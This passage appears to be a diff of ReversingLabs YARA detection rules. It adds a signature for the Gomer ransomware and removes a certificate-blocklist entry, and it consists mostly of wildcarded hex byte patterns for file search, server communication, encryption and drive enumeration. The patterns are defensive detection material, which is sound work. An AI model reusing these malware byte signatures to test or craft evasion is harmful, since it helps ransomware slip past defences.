6A + ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D0 83 FF ?? 0F 85 ?? ?? ?? ?? 83 3D ?? ?? ?? + ?? ?? 74 ?? 8B 0D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 51 ?? 8D 85 ?? ?? ?? ?? 50 52 + 8D 85 ?? ?? ?? ?? 50 EB ?? 8B 15 ?? ?? ?? ?? 8B 42 ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? + ?? ?? 50 8D 8D + } + $file_search_4_0_3 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? + 6A ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 85 C0 0F 84 ?? ?? ?? ?? E8 ?? ?? + ?? ?? B8 ?? ?? ?? ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 4D ?? 5F 33 + CD 33 C0 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $file_search_4_1b_1 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 6A ?? 51 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 08 83 C4 ?? 68 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? 52 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 + } + $file_search_4_1b_2 = { + E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 ?? ?? ?? ?? 83 FF ?? + 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 48 ?? 8D 95 ?? ?? ?? ?? 52 + 51 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? + ?? ?? 8B 1D + } + $file_search_4_1b_3 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? + ?? 6A ?? 66 89 45 ?? 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 45 ?? ?? ?? ?? ?? + FF D3 85 C0 74 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 + } + $server_communication_4_1b_1 = { + 55 8B EC 83 E4 ?? B8 ?? ?? ?? ?? E8 + } + $server_communication_4_1b_2 = { + E8 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 42 ?? 83 C4 ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 89 44 24 ?? 3B C3 75 ?? ?? ?? B8 ?? ?? ?? ?? ?? 8B E5 5D C2 ?? ?? 68 ?? ?? ?? ?? 8D + ?? 24 ?? ?? ?? ?? 53 51 E8 ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 0F + B6 ?? ?? ?? ?? ?? 83 C4 0C + } + $server_communication_4_1b_3 = { + 8A 08 ?? ?? ?? 75 ?? 2B C6 50 57 8D ?? 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 + 8B CF 51 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8D 78 ?? 8A 08 40 + 3A CB 75 ?? 2B C7 8B C8 8D 51 ?? 83 E2 ?? B8 ?? ?? ?? ?? 2B C2 50 50 8D 7C 01 ?? 8D + 84 0C ?? ?? ?? ?? 50 E8 + } + $server_communication_4_1b_4 = { + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 3B C3 76 ?? 8B 94 24 + ?? ?? ?? ?? 50 52 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B + 84 24 ?? ?? ?? ?? 3B C3 76 ?? 8B 8C 24 ?? ?? ?? ?? 50 51 8D 94 24 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4C 24 ?? 53 53 6A ?? 53 53 6A ?? 8D 84 24 ?? + ?? ?? ?? 50 51 FF 15 ?? ?? ?? ?? 8B F0 89 74 24 ?? 3B F3 0F 84 ?? ?? ?? ?? 6A ?? 8D + 54 24 ?? 52 6A ?? 56 C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 48 + ?? 8B 40 ?? 53 68 ?? ?? ?? ?? 51 53 53 8D 94 24 ?? ?? ?? ?? 52 50 56 FF 15 + } + $server_communication_4_1b_5 = { + FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8D 44 24 ?? 50 68 ?? ?? ?? ?? 8D 8C + 24 ?? ?? ?? ?? 51 56 FF 15 ?? ?? ?? ?? 8B 44 24 ?? 8B 15 ?? ?? ?? ?? 88 9C 04 ?? ?? + ?? ?? 88 9C 04 ?? ?? ?? ?? 8B 42 ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 4C 24 ?? 51 FF D6 8B 7C 24 ?? 47 89 7C + 24 ?? 83 FF ?? 0F 8C ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 + } + $file_search_4_2_1 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? + ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? FF 30 FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? + FF 70 ?? 8D 85 ?? ?? ?? ?? 50 FF D3 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A + ?? 6A ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 + } + $file_search_4_2_2 = { + FF D3 8B 35 ?? ?? ?? ?? 83 C4 ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 6A ?? 8D 85 ?? + ?? ?? ?? 50 68 ?? ?? ?? ?? FF D6 6A ?? 8D 85 ?? ?? ?? ?? 50 FF D7 6A ?? 8D 45 ?? 6A + ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? + 66 89 45 ?? 89 45 ?? 8D 45 ?? 50 8D 45 ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 51 + 6A ?? FF D3 + } + $server_communication_4_2_1 = { + FF 15 ?? ?? ?? ?? 8B F0 0F 57 C0 8D 84 24 ?? ?? ?? ?? 66 0F 7F 84 24 ?? ?? ?? ?? 50 + 8D 84 24 ?? ?? ?? ?? 8B D6 50 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8B CE E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 56 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 56 FF 15 + } + $server_communication_4_2_2 = { + FF D7 8B 0D ?? ?? ?? ?? 8B D0 8B 49 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? + ?? 8D 84 24 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? + ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? + 50 FF D7 + } + $server_communication_4_2_3 = { + 6A ?? 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 6A ?? 56 FF 54 24 ?? 8B 0D ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? 8D 41 ?? 50 6A ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF 71 + ?? 56 FF 54 24 + } + $server_communication_4_2_4 = { + FF 54 24 ?? 8B 44 24 ?? 66 C7 84 04 ?? ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? FF 70 ?? 8D 84 + 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 8B 7C 24 ?? FF D7 56 FF + D7 + } + $server_communication_4_2_5 = { + 57 8B 7C 24 ?? FF D7 56 FF D7 FF 74 24 ?? FF D7 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? + 6A ?? FF 15 + } + $server_communication_3_1 = { + 8A 08 40 3A CB 75 ?? 2B C7 50 8D 94 24 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 8D + 44 24 ?? 50 8D 8C 24 ?? ?? ?? ?? 51 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? + ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 83 C4 ?? 8D ?? ?? EB + } + $server_communication_3_2 = { + 68 ?? ?? ?? ?? 88 9C 04 ?? ?? ?? ?? 51 88 9C 04 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 57 8B 3D ?? ?? ?? ?? FF D7 56 FF D7 8B 7C 24 ?? 83 C7 ?? 89 7C 24 ?? + 81 FF ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8B 54 24 ?? 52 FF 15 ?? ?? ?? ?? 39 1D ?? ?? ?? + ?? 75 ?? 8B 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 15 + } + $file_search_3_1 = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? [0-1] 56 57 33 C0 + 68 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 66 89 85 ?? ?? ?? ?? E8 + } + $file_search_3_1_1 = { + FF 15 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 EB ?? + FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 + } + $file_search_3_1_2 = { + 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? FF D6 6A ?? 8D 8D ?? ?? ?? ?? 51 FF D7 6A ?? 8D 95 ?? ?? ?? ?? + 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A + ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D + 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF D3 85 C0 74 ?? E8 + } + $file_search_3_2_1 = { + 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? + 50 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? + ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F0 FF 15 ?? ?? ?? ?? 56 8B F8 FF 15 ?? + ?? ?? ?? 83 FF ?? 0F 85 + } + $file_search_3_2_2 = { + 8B 35 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? + ?? FF D6 6A ?? 8D 95 ?? ?? ?? ?? 6A ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? + 51 8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? + ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? FF D7 85 C0 74 ?? E8 + } + $search_and_encrypt_3_1 = { + 8B C3 83 C4 ?? 8D 50 ?? [1-3] 66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 83 F8 ?? 76 + ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D ?? + ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? + ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB + } + $search_and_encrypt_3_2 = { + 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 10 66 + 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 + 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? B8 ?? ?? + ?? ?? 90 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 + ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 + } + $search_and_encrypt_3_3 = { + 1B C0 83 D8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 8D ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 53 + 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D ?? ?? + ?? ?? ?? 68 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? + ?? ?? 68 ?? ?? ?? ?? ?? E8 + } + $search_and_encrypt_3_4 = { + E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 57 56 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? 8B CE E8 + ?? ?? ?? ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 85 C0 75 ?? 8B C6 E8 ?? + ?? ?? ?? 83 F8 ?? 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO \"MPS\"" and ( pe.signatures [ i ] . serial == "00:ce:36:75:ae:4a:bf:e6:88:87:0b:ca:cb:63:06:0f:4f" or pe.signatures [ i ] . serial == "ce:36:75:ae:4a:bf:e6:88:87:0b:ca:cb:63:06:0f:4f" ) and 1582675200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_2_6a_1 and $encrypt_file_0_2_6a_2 and $server_communication_0_2_6a_1 and $server_communication_0_2_6a_2 ) or ( $file_search_0_3_1_1 and $file_search_0_3_1_2 and $encrypt_file_0_3_1 and $server_communication_0_3_1_1 and $server_communication_0_3_1_2 ) or ( $file_search_0_3_3_1 and $file_search_0_3_3_2 and $encrypt_file_0_3_3_1 and $encrypt_file_0_3_3_2 and $server_communication_0_3_3_1 and $server_communication_0_3_3_2 ) or ( $file_search_0_3_4a_1 and $file_search_0_3_4a_2 and $encrypt_file_0_3_4a_1 and $encrypt_file_0_3_4a_2 and $server_communication_0_3_4a_1 and $server_communication_0_3_4a_2 ) or ( $file_search_0_3_5a_1 and $file_search_0_3_5a_2 and $encrypt_file_0_3_5a_1 and $encrypt_file_0_3_5a_2 and $server_communication_0_3_5a_1 and $server_communication_0_3_5a_2 ) or ( $server_communication_2_0_4e and $search_and_encrypt_2_0_4e_1 and $search_and_encrypt_2_0_4e_2 and $search_and_encrypt_2_0_4e_3 and $search_and_encrypt_2_0_4e_4 and $search_and_encrypt_2_0_4e_5 ) or ( $server_communication_4_0_1 and $server_communication_4_0_2 and $server_communication_4_0_3 and $file_search_4_0_1 and $file_search_4_0_2 and $file_search_4_0_3 ) or ( $file_search_4_1b_1 and $file_search_4_1b_2 and $file_search_4_1b_3 and $server_communication_4_1b_1 and $server_communication_4_1b_2 and $server_communication_4_1b_3 and $server_communication_4_1b_4 and $server_communication_4_1b_5 ) or ( $file_search_4_2_1 and $file_search_4_2_2 and $server_communication_4_1b_1 and $server_communication_4_2_1 and $server_communication_4_2_2 and $server_communication_4_2_3 and $server_communication_4_2_4 and $server_communication_4_2_5 ) or ( $server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_1_1 and $file_search_3_1_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4 ) or ( $server_communication_4_0_1 and $server_communication_3_1 and $server_communication_3_2 and $file_search_3_1 and $file_search_3_2_1 and $file_search_3_2_2 and $search_and_encrypt_3_1 and $search_and_encrypt_3_2 and $search_and_encrypt_3_3 and $search_and_encrypt_3_4 ) ) } - -rule REVERSINGLABS_Cert_Blocklist_9813229Efe0046D23542Cc7569D5A403 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Gomer : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Gomer ransomware." author = "ReversingLabs" - id = "0cf7573f-290d-58ac-989f-f82e9313d54e" - date = "2020-08-05" - modified = "2023-11-08" + id = "b76ac856-2abe-531d-b093-461569b9afb7" + date = "2020-10-08" + modified = "2020-10-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3676-L3694" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gomer.yara#L1-L106" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0d8f0df83572b8d31f29cb76f44d524fd1ae0467d2d99af959e45694524d18e8" + logic_hash = "a53d37fcb877a12a4969a6ea1aaa67fc4106c3fbdd80a4fd39ad5a66a9df47fc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Gomer" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B + 7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ?? + 03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ?? + ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F + 5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ?? + ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ?? + 89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ?? + ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ?? + 8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ?? + 8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7 + } + $find_files_p2 = { + EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ?? + ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50 + 57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ?? + ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD + 5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85 + ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ?? + ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50 + E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D + ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 + ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? + 83 C4 ?? E9 + } + $encrypt_files = { + 55 8B EC 51 8B 45 ?? 53 56 57 8B F9 8B 4F ?? 89 4D ?? 3B C1 77 ?? 8B DF 83 F9 ?? 72 + ?? 8B 1F 8D 34 00 89 47 ?? 56 FF 75 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 1E + 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8B F0 83 CE ?? 81 + FE ?? ?? ?? ?? 76 ?? BE ?? ?? ?? ?? EB ?? 8B D1 B8 ?? ?? ?? ?? D1 EA 2B C2 3B C8 76 + ?? BE ?? ?? ?? ?? EB ?? 8D 04 0A 3B F0 0F 42 F0 8D 46 ?? 8D 0C 00 3D ?? ?? ?? ?? 76 + ?? 83 C9 ?? EB ?? 81 F9 ?? ?? ?? ?? 72 ?? 8D 41 ?? 83 CA ?? 3B C1 0F 46 C2 50 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 58 ?? 83 E3 ?? 89 43 ?? EB ?? 85 C9 74 ?? 51 E8 ?? + ?? ?? ?? 83 C4 ?? 8B D8 EB ?? 33 DB 8B 45 ?? 89 77 ?? 89 47 ?? 8D 34 00 56 FF 75 ?? + 53 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 66 89 04 1E 8B 45 ?? 83 F8 ?? 72 ?? 8D 0C 45 ?? ?? + ?? ?? 8B 07 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? + 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 1F 8B C7 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ?? ?? + ?? ?? E8 ?? ?? ?? ?? CC CC CC CC CC B8 ?? ?? ?? ?? C3 + } + $enum_drives_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 + 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 4D ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 6A ?? 33 C0 C7 + 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? C6 + 45 ?? ?? BF ?? ?? ?? ?? 8D 45 ?? 0F A3 38 0F 83 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D + 47 ?? 0F 43 4D ?? 66 89 01 8D 45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 + F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 66 89 4D ?? C6 45 ?? ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? + 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? EB ?? 83 F8 ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D + ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? + ?? ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE C6 45 ?? ?? F7 E9 83 C4 ?? C1 FA ?? 8B DA C1 EB + ?? 03 DA 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? + ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? + ?? ?? 83 C4 ?? FF 35 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 55 ?? 56 8D 4D ?? E8 ?? ?? ?? + ?? 8B 4D ?? B8 ?? ?? ?? ?? 2B CE 89 7D ?? F7 E9 83 C4 ?? 89 5D ?? C1 FA ?? 8D 4D + } + $enum_drives_p2 = { + 8B C2 C1 E8 ?? 03 C2 89 45 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 45 ?? FF 75 + ?? 50 51 8D 45 ?? 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B + 4D ?? 8D 14 55 ?? ?? ?? ?? 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 + C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 